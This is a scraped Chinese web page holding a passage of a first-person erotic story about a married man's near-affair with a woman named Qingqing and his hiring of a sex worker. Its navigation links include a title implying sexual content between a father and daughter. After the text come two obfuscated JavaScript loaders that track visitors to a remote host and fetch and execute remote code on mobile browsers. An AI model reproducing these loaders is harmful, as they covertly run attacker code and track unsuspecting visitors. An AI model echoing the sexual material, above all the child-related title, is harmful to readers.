当晚我躺在她的床上抱着她,聊起我们以前的爱情生活。她以前交过两个男朋友,人好像都也不错,但一个因为当兵,一个因为离职都没有结果。我也把我以前交过女朋友的事情告诉她,包括我跟我太太的在内。我觉得跟青青我可以无所不谈,连有些我连老婆也刻意隐满,关于我之前女朋友的事,我都告诉她。甚之我在大陆有找过小姐我也一样告诉她(当然我不会说前两天才找过,只说跟朋友去找过一两次罢了)。因为我觉得从一开始我在她心中就是很完美的,不用刻意去讨好她,也不怕她知道我甚么秘密时会看不起我。她甚至还为我辩护说我找小姐是因为“这是每个男人都须要的,不要沈迷就好。”

那天她穿着白天的牛仔裤,还是让我摸她的腿,只是隔着厚厚的牛仔裤还摸不过瘾。我大胆的问她,可以换回昨天的窄裙吗?她答应,叫我转过头去让她去换。我听到她拉下拉链,脱裤子的声音,心里好像被几万只蚂蚁在咬,好想转过头去看。我咬实牙根把它熬过去,青青也回到床上穿着昨天的裙子。我马上抱着她,吻她和摸她的腿,她还是只许我摸她的腿和腰,胸脯和臀部都不给碰。昨天她还穿着丝袜,这时她连丝袜都没穿。摸起来皮肤更滑,更能感受她大腿饱满和弹性。本来我看女人就特别喜欢看腿,认识青青后我想我变成了一个不折不扣的恋腿狂。

我真贱,隔着牛仔裤摸觉得不过瘾,穿着裙子摸又令我欲火难禁。到了一个时候,我手上去侵略她其他部位的力量越来越大,她挡过来的力量也就越来越强。我知道我一定要停止,不然要嘛是我强奸她,要嘛是我会脑充血而死。我用尽最后一分力量,竭止我的欲望而跟她说︰“我要回去洗澡了,你早点睡,明天见吧!”也没等她回答就走了。

然后马上快速回房间,把前几天晚上楼下Karaoke妈咪的大哥大找来。打电话给她,说前两天她帮我们那帮人介绍小姐,请她现在带一个来我房间。妈咪觉得很奇怪,但想我在这里住的,所以就说好。从来我找小姐都很挑剔,不接受人家帮我挑的,但这次真的太“急”了,所以我一反常态,想只要是女人就行了,所以说女人的力量(我是指青青的)真大。可能没过多久,但感觉好像很久,妈咪带了一个小姐给我。我一改常态,一进门就如虎似狼的进攻那位小姐,快到连她都觉得不习惯。当我戴起保险套准备进入时,竟然软掉了。刚才在青青身边还是硬绷绷,怎么现在有个裸女在我面前却不行?

我叹了一口气,穿上衣服,叫小姐也穿上衣服,给了她钱叫她走。小姐还很好心,以为我无能,说可以帮我服务一下,看行不行。我苦笑的道︰“不用了,我天生不行的。”

我决定要回到青青身边,就算是在她身边憋死、涨死也总比跟其他贱女人做爱好千百倍。到达她房门后,发现房门只是虚掩着,一定是我刚才走太急,没关好。青青还是躺床上,眼睛有点湿好像哭了。我把她抱起后她说︰“你回来了,你刚才为甚么要走?”

我骗她说我要洗澡,她聪明的道︰“怎么洗完澡衣服没换?”我只有诚实的说︰“因为我刚才怕忍不住所以要走。”她说︰“你是不是恨我不跟你做?”我说︰“怎么会呢,我知道我已经有老婆了,虽然我真的很想,但你不愿意我也不可以怪你。”

我问她刚才在哭甚么,她低声的说︰“你离开后我发现我好像爱上你了。”我很高兴的道︰“我也爱上你了。”她说︰“真的吗?那你老婆呢?”我无言以对。她继续说︰“其实如果这次来的不是我,是另外一个,你也会爱上她的,是吗?”我说︰“怎么可能,其他人哪会有你一半美!”她说︰“那就是说,如果她也很美丽你也会爱上她的罗!”我道︰“当然不是。”

她说︰“你说不是,谁信!有甚么证明?”我心想,这些东西有甚么可以证明的,又不是科学理论。我说︰“好,如果是其他人,我可能也会想要跟她们怎样,但却绝不会抱她们两个晚上,而甚么都没有做。”

她有点相信的说︰“我知道刚才你忍得很辛苦,但如果你老婆知道了,她会很痛苦的。”青青想到的不是做完后我会抛弃她,或怎么样,而是不愿伤害我老婆,可见她的心肠有多好。她此时脸色郑重的对我说︰“你可不可以答应我一件事?”我说甚么都可以答应她,她说︰“你答应我你跟我之间事,以后一定不可以给你老婆知道,可以吗?”


上一篇:姐妹花

下一篇:色爸爸帮淫女儿洗澡


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};